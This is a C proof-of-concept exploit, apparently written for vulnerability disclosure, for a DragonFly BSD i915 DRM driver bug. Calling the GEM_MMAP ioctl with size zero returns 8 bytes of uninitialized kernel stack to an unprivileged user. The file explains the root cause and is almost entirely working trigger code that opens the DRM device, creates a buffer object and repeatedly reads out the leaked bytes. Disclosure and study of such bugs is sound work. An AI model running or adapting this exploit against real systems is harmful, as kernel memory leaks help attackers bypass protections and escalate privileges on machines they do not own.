DF-3634 / poc_df3634.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 | /* * DF-3634 PoC: uninitialized kernel stack leak in i915_gem_mmap_ioctl() * (sys/dev/drm/i915/i915_gem.c). * * DragonFly-only bug: when DRM_IOCTL_I915_GEM_MMAP is called with * args->size == 0, the #ifdef __DragonFly__ early-out * * if (args->size == 0) * goto out; * * jumps past every assignment of the local `unsigned long addr` (first * assignment is the round_page() hint further down). At the out: label * the function does * * args->addr_ptr = (uint64_t)addr; * * returning 8 bytes of stale kernel stack to userspace with retval 0. * * Reachability: unprivileged, render-node allowed * (DRM_IOCTL_DEF_DRV(I915_GEM_MMAP, i915_gem_mmap_ioctl, DRM_RENDER_ALLOW), * i915_drv.c:3246). Requires an Intel GPU (i915 driver attached). * * Build: cc -O2 -o poc_df3634 poc_df3634.c * Run: ./poc_df3634 [/dev/dri/card0] */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <stdint.h> /* Minimal copies of the uapi pieces, matched exactly against * sys/dev/drm/include/uapi/drm/i915_drm.h: * DRM_I915_GEM_CREATE = 0x1b, DRM_I915_GEM_MMAP = 0x1e * DRM_IOCTL_I915_GEM_* = DRM_IOWR(DRM_COMMAND_BASE + nr, struct ...) */ struct drm_i915_gem_create { uint64_t size; uint32_t handle; uint32_t pad; }; struct drm_i915_gem_mmap { uint32_t handle; uint32_t pad; uint64_t offset; uint64_t size; uint64_t addr_ptr; }; #define DRM_IOCTL_BASE 'd' #define DRM_COMMAND_BASE 0x40 #define DRM_IOWR(nr, type) _IOWR(DRM_IOCTL_BASE, nr, type) #define DRM_I915_GEM_CREATE 0x1b #define DRM_I915_GEM_MMAP 0x1e #define DRM_IOCTL_I915_GEM_CREATE DRM_IOWR(DRM_COMMAND_BASE + DRM_I915_GEM_CREATE, struct drm_i915_gem_create) #define DRM_IOCTL_I915_GEM_MMAP DRM_IOWR(DRM_COMMAND_BASE + DRM_I915_GEM_MMAP, struct drm_i915_gem_mmap) int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/dri/card0"; int fd, i; struct drm_i915_gem_create cr; struct drm_i915_gem_mmap mm; fd = open(dev, O_RDWR); if (fd < 0) { fprintf(stderr, "open(%s): %s\n", dev, strerror(errno)); fprintf(stderr, "=> no DRM device available; cannot exercise " "i915_gem_mmap_ioctl on this guest\n"); return 2; } memset(&cr, 0, sizeof(cr)); cr.size = 4096; if (ioctl(fd, DRM_IOCTL_I915_GEM_CREATE, &cr) < 0) { fprintf(stderr, "GEM_CREATE: %s\n", strerror(errno)); close(fd); return 3; } printf("created GEM handle %u\n", cr.handle); for (i = 0; i < 5; i++) { memset(&mm, 0, sizeof(mm)); mm.handle = cr.handle; mm.offset = 0; mm.size = 0; /* <-- triggers the uninitialized `addr` path */ if (ioctl(fd, DRM_IOCTL_I915_GEM_MMAP, &mm) < 0) { fprintf(stderr, "GEM_MMAP: %s\n", strerror(errno)); break; } printf("run %d: ioctl ret=0 addr_ptr=0x%016llx%s\n", i, (unsigned long long)mm.addr_ptr, mm.addr_ptr != 0 ? " <-- LEAKED KERNEL STACK BYTES" : ""); } close(fd); return 0; } |